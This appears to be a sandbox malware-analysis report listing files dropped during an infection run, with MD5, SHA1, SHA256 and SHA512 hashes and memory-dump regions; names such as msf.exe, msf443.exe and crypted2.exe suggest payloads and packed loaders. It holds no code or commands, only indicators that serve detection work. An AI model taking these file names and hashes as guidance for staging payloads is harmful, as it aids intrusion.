SHA256 4ad1cc11410e486d132dce9716eebe6a2db0af0fcbf53ee87bc9c0af6a5aa1d4
SHA512 f4908cce3e77a19bcbdc54487e025868cbd2c470b796edbf4a28aebc56cb9212019496f32eb531787de2ca9e8af0aedab2fde3d7aecee9e6a3fe3f5e4ce7670a

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

MD5 9a994d678fb05bf73d7b61c76788f7eb
SHA1 3eb3769906efb6ff161555ebf04c78cb10d60501
SHA256 84ca892ab2410acef28721d58067fcba71f0de54ede62ef2fca9aeb845b5227f
SHA512 c7c846d6d8d2e43871c1c4471d26c6cfcee29a5b563eca69fef2f4e394767ef3e61a231626a1ff64aaf6a907d66a0cbe9db1c965128e3bab373e406ea891e6ce

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.dll

MD5 010908233328c294e5e5877e07285478
SHA1 18a560584c682b2dc21a1228228192c4baf47f6d
SHA256 a902df81dce5a9b84929c88a5d219df0a5a07206b0801a7a723c4548609b953c
SHA512 7d36f6c400271344ac91e33cac6045b3642ba59b730dd21b678bb1b9de42619766f9739bff51423f8fb4a8304fecf61f13a14987b59b098ff99062bdc795eda4

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\VBCCR15.OCX

MD5 a00469043467b0ed571938679ab2e796
SHA1 68ae694ee41f86ee9240ac8abd516c668d3b907e
SHA256 83e48fb3b98f83c89a79d3d77698ae565a3f8ea09450d5a9dc5c4815d079e0fa
SHA512 e8986c0c100ee8edbab67febe0a4f6fa36d716fc2397fddd0df1b86a1eafb6d85ccab8f2f48c059fd0cc9aec1119caa5e4f6c387eb23bbc9aa876bf10a3218f3

memory/3348-94-0x0000000003990000-0x0000000003E9A000-memory.dmp

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\jb2.ocx

MD5 1396e7462eb8ce452b0f0e2540f2a0e6
SHA1 1a205c5a45e7fc0856db974605a1b01ad655b788
SHA256 83f5e5c8adc1ab0c701ec63a33e1ff3e114583116b04d31e3e6d6a37fb61defb
SHA512 2b00518d2e22d726aab3df67eaf468c49fca43d7ef2583092e04ad23b0f6085b4672fe9b1a6d80227461aafd97596e8fab176ef3f5ce2f94cda8bc3f9e6c5c04

memory/3348-100-0x0000000003ED0000-0x0000000003F3D000-memory.dmp

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\Model++Xs.dll

MD5 905a19d6f5e9856ebf1ebae8566f840e
SHA1 fe2fc3cf3af1a5b5de76793c64a32fdf95d7fb3a
SHA256 d8e8ec0f6c15c1165acefd3a2b88c9bafed45e777c71d24270d672111c2b822e
SHA512 bfbde612ce50082b66e23a080d436c7676c78200b4f5ecd61a68db9a56f6a3dbe8390789e2a45469e153fb449e09a17ea364dd19f8910e71634b7efa38928120

memory/3348-104-0x0000000003F40000-0x0000000003F41000-memory.dmp

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\SE_CLSEditorX.dll

MD5 c2a51f02511eff6edf77bc99e50ad427
SHA1 a72700705c3fa64b5717ee30a4485b5299c7ac19
SHA256 dcfea0126e1c02aad0ea2fb6ef93d308fa20e67d4aa812487b4a5dc57e0ff16a
SHA512 1c7a0201e7b074f2dceba7e764eec261ecefd92a34741b4e152018aca41129ceb26d3a3cbe19ee7fc268820b1ff3b66e5b7e2523b076f45ad85b1d3cb11b12f0

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\soundeffects\review.wav

MD5 03f82642911d65bf9e055c1aef0468ef
SHA1 bfa726886ad082181b0bf8b8e99cfeb28c67c09b
SHA256 3c4e0d77225af8fe092d6d2ece9bfe916d99205999def1247fe4b6183224e5c8
SHA512 7fc17025892ec041ac90a728f07b7a922a5e24256e9f689afb5d799f1c8d65c3a45513dc695ade4727e409d61a687fc550bd9cdd5ecc0a485d6587e261f1f86c

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\ValueTransformers.dll

MD5 473fe371f857c6bc57bcc6e879abdce0
SHA1 6c9bba7026bd56ff7e01213126e82b58b6b0ab04
SHA256 d13f8cafe9ae83284ff0bebaee9fa72515bf7bde2251f94879e3eac302483a5c
SHA512 7ea6c95c8d6ce86fe12d348d1ff2ce664d10f4e0288c430cf353de136de9df2ec40e0a7c6772d524be523110b86abf7cbb4ecbd719f06210104091d0448b51e7

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\vcomp140.dll

MD5 94950136ca0c9fde9d1dd02125420e42
SHA1 43ed4a5f1bf21202be48fae8244294824ea46815
SHA256 5474e4b5b012fa630adc969e049b35623ce8373e7d095ecfc8ba2f825350bab3
SHA512 6adbfe24b7e2c5596595ebf36843025b8305391154b8448cc738d358922f1d8175974120182b9fe9f3b6e190d2bc70569148466218f56e61ca8f3d49beded404

memory/3348-115-0x0000000074490000-0x00000000744FE000-memory.dmp

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\comctl32.ocx

MD5 2640ad05ab39321e6c9d3c71236ca0df
SHA1 03d30b572f312c2b554e76b3a18fbbb4a38a9be4
SHA256 634d27df20591de4d9b44dfb7f1ef03284c1d120f61b0801d668c1076d72cb6d
SHA512 7ea1357dcb7c22870c4993df30b00a79e61731cbea87775d800b7ff7f435858167780b22fd5af6a2df59edc1c5d5fb0e184c5f7ed4436c70ea5f91b8be4a1e75

memory/3348-118-0x0000000006090000-0x00000000061E9000-memory.dmp

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\COMDLG32.OCX

MD5 ab412429f1e5fb9708a8cdea07479099
SHA1 eb49323be4384a0e7e36053f186b305636e82887
SHA256 e32d8bbe8e6985726742b496520fa47827f3b428648fa1bc34ecffdd9bdac240
SHA512 f3348dbc3b05d14482250d7c399c00533598973f8e9168b4082ee5cbb81089dfaefcfda5a6a3c9f05b4445d655051b7a5170c57ee32d7a783dc35a75fee41aa9

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\Mscomct2.ocx

MD5 27ec2b0aebea97aa3f343dea1501ec3a
SHA1 c44b40baa25f257d874fee1c7b4ef9137f2ced51
SHA256 589e26a16d9171ce22b9a5eb95064cc96c866b1f08ab634d714231b35c2812a8
SHA512 25ac2951cb890a7747fab37ac1997e842800e71325c510122599dade0cf5bbb2cc490d87596bf8f5e9a16adc40ce1f2e19ffb0a5671597af6cb9e07ec7df9b96

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 efc87472699854a8dc06148b239d4198
SHA1 25f942e70e419d016fa0083d933cf42b35e24ec8
SHA256 91edab2ed6515a1180519d0084e4cb615548177a7084668b5e18d8b2875ca56f
SHA512 6e2db0b1047a469b0268fae0686a18ac56b7fcb93621ca09abeb3986b30b1888c1e392201830fac28977378cdc9d562ed82e36078877594324abc0e85429c96d

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 b14f1dc20713e52839142fffd56f21b7
SHA1 efe7e76e6a835b46d7034d143c4fea5bfaf90d6d
SHA256 de160943cff9979e82bc2875627e5bb2647696f30f08fef878a7d778561134e8
SHA512 f51e2492cbe0150163670777a5d0ecbe755e17b8d4d05c55db288b68e19b8a5146483aa4a9ebf4922a9897599c261cf0c5c9e896bcede78f3e8bcec2bcbef2c0

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 c88e8818dde0a85db3df98d3809fd615
SHA1 d13dd2ade4666b20b20f557e8849c5367d40b455
SHA256 78cf40f38c501bec247cae219f76cbc458ef966040fafe42940bab4d27e6869b
SHA512 5d6f855bc1a32592b68cab680b8855be51efebb8712c9e73ceaba794e39f59166ab8826f8f44ce7e1fea20a1525f93c8491a959166254796883a5b6a54482104

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\RICHTX32.OCX

MD5 045a16822822426c305ea7280270a3d6
SHA1 43075b6696bb2d2f298f263971d4d3e48aa4f561
SHA256 318cc48cbcfaba9592956e4298886823cc5f37626c770d6dadbcd224849680c5
SHA512 5a042ff0a05421fb01e0a95a8b62f3ce81f90330daed78f09c7d5d2abcb822a2fe99d00494c3ddd96226287fae51367e264b48b2831a8c080916ce18c0a675fa

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\Source.dat

MD5 60147cda18bf6490afeeaa6635ea569c
SHA1 679d9c0923c71603c15a896d3485cbf26a289291
SHA256 7b668c5d6532b0e39afabc458426347c5e8f77566f608574e7d9c9a0dbccf290
SHA512 31465940d267af7e712372615837971903100702fa64a43edfe4a96a0988c685ccdaf8dee9e3a6bf5655ba5329040877da15fd4f3431dce34916d6fda9334a98

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\MSCOMCTL.OCX

MD5 273676426739b02a45a0fc9349500b65
SHA1 a23c709fae04feef87358abd59504940d0d0c806
SHA256 152121a5d1ac8f12002c18afc294bb1ebcecc1d61deec6211df586c11acde9b6
SHA512 8945d8a68c4ebb5845fb7f6abf3b4947eb6c37812c32d4ff2f30a0472489496c4506b3be358bb350df5c3d3be11c43c19ba6d3ca72449a7122bcec73cee181d2

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\tssOfficeMenu1d.ocx

MD5 8f25663fc3d70f649cecf90fec0d5b4c
SHA1 7f77efb66aaf465c5b4a8ecc2bfe97ac5ba74801
SHA256 9ea2226c11465ca91fcda1761f3a9c0863ed47d33fc4c21df8084e59d9094e43
SHA512 38551de8779871471e4d7658cd100e2b6ffe522581463cee09a7743556e5ec8737c02db01dec001d57ffe573b75dd706f92a8750633232bb7ae0d4d169424aed

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\settings.ini

MD5 2d707a1b8f827b5a7f54d5cfaa8e81c4
SHA1 684f00ae0cf04506ae48132d9f5eb6b913df74ea
SHA256 fac3409a96f95fd417f8525eba7c26486b1cc219b2fb257a9501c990743dea51
SHA512 5eb6a57d6e040da3990d5e88c741df25730f5cb17cbd7c20df1ae58f7af6659891efbea93ecec499b761824ddf0d8d357fb2b3063a1d08be5f5c5dfab43dbc8b

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\MSINET.OCX

MD5 90a39346e9b67f132ef133725c487ff6
SHA1 9cd22933f628465c863bed7895d99395acaa5d2a
SHA256 e55627932120be87c7950383a75a5712b0ff2c00b8d18169195ad35bc2502fc2
SHA512 0337817b9194a10b946d7381a84a2aeefd21445986afef1b9ae5a52921e598cdb0d1a576bdf8391f1ebf8be74950883a6f50ad1f61ff08678782c6b05a18adbf

memory/3348-171-0x0000000006090000-0x00000000061E9000-memory.dmp

memory/3348-173-0x0000000006090000-0x00000000061E9000-memory.dmp

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 628aa0856e57770171318442aef0953c
SHA1 09c7b1841e4eda00fa0b961e65bfa4ad2600f6e0
SHA256 cd68fafc6b2201449fe0528b1471c299d60be25eec67b117197f4155c3de733a
SHA512 1dd782f17cca0013980d3099f77caca4eba3390dae3c70b72cc83f50461c3620287a48ce8b842335d9f3a391b23603f8cc51a369de4a604cf85781342ca5fbca

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 47dc8ecb84235ab03824b55be9e56c5a
SHA1 3e46618557d2133922d21593f6e8428fd6745a66
SHA256 d87dc7d983024171118ca90431c8e9c90c6d1d466298473a3a36d2d8566cdf3d
SHA512 bf6b937cbaea61cb16c48cf55a28db133e3a4a8c6ef1c7532ac8d14be985741dc97238b5905a29ab7afe2afe1468547a39e459989e5b922324240d644291fa35

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 203fd817301f420bdff4b539511c872e
SHA1 8dcae69fb7f721b79bba2199948bcfed973cfa83
SHA256 e593e1801575822cd77aeb0db65cc0c866c5cd4fe7abc0a4a4aa292a09f95459
SHA512 cf7f9c0cc7df57bb479358ac1aaaa03a033a97d097f7d2e3f12e45279a3875d74a4eee3106e93a40c4c1999d324b0bd86226a56958d80ee2f1a31a2861173f6b

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 d9e1c4410e6904734f69ca22148d4f9d
SHA1 bdc461f45531909343f0c5733c8ca6876133a681
SHA256 23223964cf95716fc10e3f9821c70eb40f3db9b4c90cd8c589aee68ff2bfb208
SHA512 7312d9d6139acaf97aa20523ff6a1b92b1fb1397783fed6baa0c0bda7e74393295c7f35c7df42f0e3805f72d005e5562a0e4f01a523f56b5e9f4734e95551ebf

memory/3348-317-0x0000000006090000-0x00000000061E9000-memory.dmp

memory/3348-323-0x0000000006090000-0x00000000061E9000-memory.dmp

memory/3348-322-0x0000000006090000-0x00000000061E9000-memory.dmp

memory/3348-321-0x000000000A940000-0x000000000AEDC000-memory.dmp

memory/3348-328-0x0000000063280000-0x00000000634BE000-memory.dmp

memory/3348-329-0x000000006E600000-0x000000006E69D000-memory.dmp

memory/3348-330-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-331-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-335-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-336-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-334-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-333-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-332-0x000000000B490000-0x000000000BA31000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Dheoroe

MD5 f4f35d60b3cc18aaa6d8d92f0cd3708a
SHA1 6fecd5769c727e137b7580ae3b1823b06ee6f9d9
SHA256 2aae7dc846aaf25f1cadf55f1666862046c6db9d65d84bdc07fa039dac405606
SHA512 a69e2dce2f75771c63acda51e4aeecc95b00f65377e3026baf93a6cfb936bf6f10cb320cc09b0e43eb7833d062b24efc5932569a1826e55dbb736ccda0beb413

C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe

MD5 38dbe26818d84ca04295d639f179029c
SHA1 f24e9c792c35eb8d0c1c9f3896de5d86d2fd95ff
SHA256 9f94daaec163d60c74fff0f0294942525be7b5beaf26199da91e7be86224ceeb
SHA512 85c2261fdc84aee4e0bab9ebe72f8e7f0a53c22a1f2676de0c09628a3dbe6ebc9e206effd7a113a8e0e3fdb351656d0ebb87b799184591655778db0754e11163

memory/2856-365-0x0000000000400000-0x000000000051A000-memory.dmp

memory/3348-366-0x0000000003ED0000-0x0000000003F3D000-memory.dmp

memory/3348-367-0x0000000074490000-0x00000000744FE000-memory.dmp

memory/2856-368-0x0000000000400000-0x000000000051A000-memory.dmp

memory/3348-371-0x0000000006090000-0x00000000061E9000-memory.dmp

memory/3348-374-0x0000000006090000-0x00000000061E9000-memory.dmp

C:\Users\Admin\Desktop\a\Guide2018.exe

MD5 35d0a7832aad0c50eaccdba337def8cc
SHA1 8bd73783e808ddfd50e29aff1b8395ea39853552
SHA256 f2f007107f2d2fffe5328114661c79535b991e6f25fe8cc8e1157dd0b6a2723b
SHA512 f77055a833ba6171088ee551439a7686208f46ccb7377be3f4ed3d8c03304ca61b867e82db4241ea11763f5dfbdda0b9a589de65d1629b1ea6c100b515f29ff0

memory/3348-444-0x000000000B490000-0x000000000BA31000-memory.dmp

C:\Users\Admin\Desktop\a\stories.exe

MD5 cbb34d95217826f4ad877e7e7a46b69c
SHA1 d903374f9236b135cf42c4a573b5cd33df9074bd
SHA256 707b321c42fbaa91cf41a9b41c85f3b56c7326cb32f40fc495f17df83b21cbed
SHA512 eec4382387a1c2223da3350a28ec250cfa6dd2edb7eda6c516ee32fc784638f23005e992af337e9d87878fe2049b0a41df7f1c65c9d717d6a8771d7833be3f60

memory/4596-464-0x0000000000400000-0x00000000004BE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp

MD5 d39963c7160d31f9ef536becf3004498
SHA1 9485f170d679b63b6eaef023c2459d50e665dcd6
SHA256 70cdfb9222cfe63dc84ccb91fc76ed489e3a8ab62876dd0eaf57659d6d9d0adc
SHA512 b5b5cd3623af8be77979d51b6f7a19504f565435a256c2b5b908faca335ed1a330131c5b8bf845b290fb980c778434aa7addbcba3043c4421f7c9343344fdad5

C:\Users\Admin\AppData\Local\Temp\is-JC716.tmp\_isetup\_iscrypt.dll

MD5 a69559718ab506675e907fe49deb71e9
SHA1 bc8f404ffdb1960b50c12ff9413c893b56f2e36f
SHA256 2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc
SHA512 e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63

C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe

MD5 f978d5eba9977af32374dcb616cb63fe
SHA1 d45c19f173d68fb11dd1c358b42b135e634ebe4e
SHA256 2921409fa28850e3c1874ae52a25b00f93961c278cf131f11f67cee89061f7c8
SHA512 0075c468db47b8f92b9d329089a61fd554c5f7fc374be34fcff8f925dba334ba41bab09303e16d32607597af5e2636203db312c412fc68b3bee60a799620fe9f

C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\sqlite3.dll

MD5 e477a96c8f2b18d6b5c27bde49c990bf
SHA1 e980c9bf41330d1e5bd04556db4646a0210f7409
SHA256 16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660
SHA512 335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

memory/468-526-0x0000000000400000-0x000000000079F000-memory.dmp

memory/468-527-0x0000000000400000-0x000000000079F000-memory.dmp

C:\Users\Admin\Desktop\a\wwbizsrvs.exe

MD5 2912cd42249241d0e1ef69bfe6513f49
SHA1 6c73b9916778f1424359e81bb6949c8ba8d1ac9f
SHA256 968b7f6af70d85cf079621d8c4d54bb7385a584f2a3d3ef981610ae88cf939b0
SHA512 186ede7c630b7bcc3dacffd6ce92f10fc552305ff0a209572d8601d7b9a65845b9834a2e1e96a159450578705e0fc75c943f8e9af0fb31f9e21a5928030d3835

memory/3348-541-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-543-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-544-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-546-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-547-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-548-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-549-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-555-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-556-0x000000000B490000-0x000000000BA31000-memory.dmp

C:\Users\Admin\Desktop\a\msf.exe

MD5 e24e7b0b9fd29358212660383ca9d95e
SHA1 a09c6848e1c5f81def0a8efce13c77ea0430d1d5
SHA256 1c6ed59c11a8dc5d058c71cfccbcfbdbaff75c67a3dc1c5395044ff92b0ddfa1
SHA512 d5b34a3704311ecf99e92ba66206dea6f4c0b1f1412c588ee6c176a172a13e3230ff0b22f15860af9b1e39c7fb033dd5bf6ae5a33d090478d123645c4cc059f4

memory/3348-565-0x000000000B490000-0x000000000BA31000-memory.dmp

memory/3348-572-0x000000000B490000-0x000000000BA31000-memory.dmp

C:\Users\Admin\Desktop\a\msf443.exe

MD5 8ca7845e555675b9484e6dfea4f2445c
SHA1 c07d875df58b2031160a17110129114727e1e4ea
SHA256 2522d9ecb8b221dfc36a62255d68fc1ef758c436791358117615c20f29c4fe9a
SHA512 54b87b226d976fe73d03b2ee6881a3fb2bd529227cb10d505bf2a2570e1839aba326d0930d34585a13b91d15bb68e7a216f3ba7ab20639f0cd9f6269682e198e

C:\Users\Admin\Desktop\a\client.exe

MD5 9579af96367447427b315b21b8adde36
SHA1 b26ecdb467ea4c9d233a95ff2fc4b8fe03fb20b3
SHA256 0e102ff9e7499b9f30e22129983c60b70f993058f4bbd6d7cc54799a66300205
SHA512 6ac8dd2001954c282d6020a65d1944b253df6819464435b0f5c124330b2df8962b3cb40c3565a6ff9b31c2985012bff69c3e3091da6e4dbc788bc71ab62dcf67

C:\Users\Admin\Desktop\a\Pawyvstri.exe

MD5 3abeea9e0966e3e67ec73a3ac58cf654
SHA1 2cb41de6040fb5c378432b7504dc1a6dec6f841b
SHA256 3568f8e5106716816e704fc52653c73d750faa4cf3e01fd14e6df29cb5d46cb0
SHA512 77b3e46f199f0a1e6d1972bd1339f564ef60912cfb350e827bd7305cc738c7b546fc7dfc77e0cb08aae40866878b5f87b454d939b5206b976a15e1aa7e96581f

memory/1096-675-0x0000000000810000-0x000000000083C000-memory.dmp

C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe

MD5 66ff1390c2cb8e18a5ed550f8dce6a34
SHA1 17f102c8ec11b0435b158ed898f9d95f2cd31638
SHA256 bc4f57934371fb9a46fe4ca5166ab1a4e16d523c4a43c28e4a7eded85839166b
SHA512 ae1c0e214b31d4613e74b4c59f2d670cf32a039c2eb0cf92a1c2b71a652c436c891a3abc52a1ea80ef4c7cff1cf009ccc2149cb2765ed596b48e8f84cee242fd

memory/4684-689-0x000000001BB80000-0x000000001BB8A000-memory.dmp

memory/4684-691-0x000000001CD50000-0x000000001CDF6000-memory.dmp

memory/1028-693-0x0000000000010000-0x00000000000C2000-memory.dmp

memory/1028-694-0x0000000004F80000-0x0000000005526000-memory.dmp

memory/1028-695-0x00000000049D0000-0x0000000004A62000-memory.dmp

memory/1028-696-0x0000000004A70000-0x0000000004B0C000-memory.dmp

memory/1028-697-0x0000000004960000-0x000000000496A000-memory.dmp

C:\Users\Admin\Desktop\a\op.exe

MD5 f5d20b351d56605bbb51befee989fa6e
SHA1 f8ff3864707de4ec0105a6c2d8f26568e1754b60
SHA256 1fce2981e0d7d9c85adeea59a637d77555b466d6a6639999c6ae9b254c12dc6b
SHA512 9f739359bc5cf364896164d5790dc9e9fb90a58352f741971b8ac2c1915e8048f7c9b787361ab807b024949d0a4f53448c10b72d1b10c617d14eac0cae9ee123

C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe

MD5 56e9fd0907c410efa0d1b900530ced6d
SHA1 355053bcbd29eed77126ff7239d94c8a991b70da
SHA256 8b439cc5bf4db70a29dc68cb2adb72daa747ccbe75e447c2423f7793de69fbcb
SHA512 0c9335459ab085dddaea9fe4eb9434b5d87f3ed909a93b791fff1b4d7b717977eaac02c50e80063f0d590d82d1fae7dec486767fb1a56b87e75b8b5aa50a3ec9

memory/468-795-0x0000000000400000-0x000000000079F000-memory.dmp

memory/2364-798-0x0000000000DD0000-0x0000000000DD8000-memory.dmp

memory/2364-799-0x00000000055B0000-0x00000000055D4000-memory.dmp

memory/2364-800-0x0000000005A20000-0x0000000005A5C000-memory.dmp

memory/2364-801-0x00000000059E0000-0x0000000005A06000-memory.dmp

memory/2364-802-0x0000000005A60000-0x0000000005A76000-memory.dmp

memory/2364-803-0x0000000005A80000-0x0000000005A9C000-memory.dmp

memory/2364-804-0x0000000005CC0000-0x0000000005D26000-memory.dmp

memory/2364-805-0x0000000006810000-0x000000000684E000-memory.dmp

memory/2364-806-0x0000000006CF0000-0x0000000006D6C000-memory.dmp

memory/2364-807-0x0000000006D70000-0x00000000070C7000-memory.dmp

memory/2364-808-0x00000000073C0000-0x00000000073C8000-memory.dmp

memory/2364-809-0x000000000B100000-0x000000000B12E000-memory.dmp

memory/2364-811-0x000000000B0E0000-0x000000000B0EA000-memory.dmp

memory/2364-810-0x000000000B130000-0x000000000B142000-memory.dmp

memory/2364-812-0x000000000B690000-0x000000000B6BC000-memory.dmp

memory/1028-813-0x0000000004F50000-0x0000000004F62000-memory.dmp

memory/1096-822-0x0000000006810000-0x0000000006938000-memory.dmp

memory/1096-1898-0x0000000006B80000-0x0000000006C1A000-memory.dmp

memory/1096-1899-0x0000000006C40000-0x0000000006C8C000-memory.dmp

memory/1096-1904-0x0000000002AB0000-0x0000000002B04000-memory.dmp

memory/1028-1910-0x0000000008270000-0x00000000082FE000-memory.dmp

memory/4696-1913-0x0000000000400000-0x0000000000448000-memory.dmp

memory/4624-1914-0x0000000002340000-0x0000000002376000-memory.dmp

memory/4624-1915-0x0000000005000000-0x00000000056CA000-memory.dmp

memory/4624-1916-0x0000000004EB0000-0x0000000004ED2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_obhjc5py.3wp.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4624-1926-0x00000000057D0000-0x0000000005836000-memory.dmp

memory/4624-1927-0x0000000005840000-0x0000000005B97000-memory.dmp

memory/4624-1929-0x0000000005CE0000-0x0000000005CFE000-memory.dmp

memory/4624-1930-0x0000000005D30000-0x0000000005D7C000-memory.dmp

memory/4624-1931-0x00000000062D0000-0x0000000006302000-memory.dmp

memory/4624-1932-0x000000006B290000-0x000000006B2DC000-memory.dmp

memory/4624-1943-0x0000000006F10000-0x0000000006FB3000-memory.dmp

memory/4624-1942-0x0000000006EE0000-0x0000000006EFE000-memory.dmp

memory/4624-1945-0x0000000007050000-0x000000000706A000-memory.dmp

memory/4624-1944-0x0000000007690000-0x0000000007D0A000-memory.dmp

memory/4624-1946-0x00000000070B0000-0x00000000070BA000-memory.dmp

memory/4624-1947-0x00000000072C0000-0x0000000007356000-memory.dmp

memory/4696-1956-0x0000000006CB0000-0x0000000006E72000-memory.dmp

memory/4696-1957-0x0000000006B30000-0x0000000006B80000-memory.dmp

memory/4684-1986-0x000000001BB90000-0x000000001BB9A000-memory.dmp

C:\Users\Admin\Desktop\a\babababa.exe

MD5 8fb77810c61e160a657298815346996e
SHA1 4268420571bb1a858bc6a9744c0742d6fd738a83
SHA256 a0840c581f8f1d606fdc43bc98bd386755433bf1fb36647ecf2165eea433ff66
SHA512 b0d0aea14bfbb5dfa17536b1669d85fc1325140f6a0176ae1c04870efa3adc902d5755f0df00d305f01120960e95bfc40c37c7519ec2827797ebaa95097cfeb2

memory/1880-2028-0x0000000140000000-0x0000000140026000-memory.dmp

memory/4440-2030-0x0000028F546D0000-0x0000028F546F2000-memory.dmp

C:\Users\Admin\Desktop\a\lum250.exe

MD5 83b2ddd34dedeaf68fdb35426c383b7b
SHA1 2d11d73ccff1a20c02904504819a823eaa129fff
SHA256 bdc039a14dc690c16138ed84b2dfc550532cb60b4c2e359ce129132ebdcb286c
SHA512 b2d49d115c84bcd23ae67496fad9f222cb3a0158ea91fa25e57ddd4b8db5cb72413cf03b253bb5f4046c1dad021f0bf7a12c650f6a0d9934783a463792a45c58

memory/1244-2054-0x0000000000800000-0x0000000000C9B000-memory.dmp

C:\Users\Admin\Desktop\a\Beefy.exe

MD5 8d644c8cb9c08d33b5efc8e05a8f11dd
SHA1 a49b9fd9d7f04bdac19a86b622e4e569bb1650e1
SHA256 af345887a4ce62f171ce80e9b33e15162084005c0822043cfb98d184f59564c2
SHA512 6a76a8a0d51d39d4a9d0c3fc8d3e4d9fc02447d581aa4e3764d1954aa24af2cbf1aa226501a2ceb77fb2bf17f7e782a71762bf80f4fda706e58b8eb5a928da61

C:\Users\Admin\Desktop\a\solandra.exe

MD5 9bc0a18c39ff04ff08e6dd69863a9acc
SHA1 a46754e525034a6edf4aec5ed51a39696ef27bfa
SHA256 4088eeb24af339ce1f244143886297968ffebfd431f5b3f9f9ae758f20a73142
SHA512 3ae9846cb1fe47885faaab0f0a6d471fe48bbb99ef13d5a496e96516c05999a1d05b6111230e2f9ebcb4f93c69aef29fb579ea7360d13eb9dffaffc611facda7

memory/1244-2079-0x0000000000800000-0x0000000000C9B000-memory.dmp

C:\Users\Admin\Desktop\a\mk.exe

MD5 b56761ad16c0e1cdd4765a130123dbc2
SHA1 fc50b4fd56335d85bbaaf2d6f998aad037428009
SHA256 095a2046d9a3aeeefc290dc43793f58ba6ab884a30d1743d04c9b5423234ccdd
SHA512 26c82da68d7eef66c15e8ae0663d29c81b00691580718c63cdb05097ae953cbe0e6ac35b654e883db735808640bc82141da54c8773af627a5eaea70b0acf77ed

C:\Users\Admin\Desktop\a\crypted2.exe

MD5 493ab5162b582687d104156ca1b10ba5
SHA1 ced8bc2467ec76184041447148e091f2752b0a54
SHA256 ef4a502ddf1302d71b96fdd150613d35d2722868d669c4e8f33ff715d5456ad7
SHA512 225a3e33d015aeb700ed13cb3b7f3c4f8485cac277cc3a2484c7dc4ce27733f0b17112d53e323cb4c96fecbfa2e98adf7f2e712d0dd9f482e7c985b62e464fb1

memory/1880-2102-0x0000000140000000-0x0000000140026000-memory.dmp

C:\Users\Admin\Desktop\a\random.exe

MD5 31c0f5f219ba81bd2cb22a2769b1cf84
SHA1 2af8ba03647e89dc89c1cd96e1f0633c3699358b
SHA256 0deda950a821dbc7181325ed1b2ffc2a970ea268f1c99d3ed1e5330f362ba37e
SHA512 210fab201716b1277e12bb4b761006fe0688b954129551ff0ad1126afab44ca8a2bc9641c440e64d5ba417d0b83927273776661dc5a57286a7ff5dc9864f3794

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

MD5 4f80565082ea4d95d933decf9cd50c61
SHA1 2830f9d5f41bbecd2ae105ed0b9a8d49327c8594
SHA256 d854f347061d9d7b8a9788ab8633c3f07619e29bd440924507a0147484c217c3
SHA512 9dcdae5c7a5b4181ade738884e208508bf317742ca2be0726716aa71236670a50dae2bec947b3fcc12cfc85c756810f18a9f403de4eb428b4a73a4759037f227

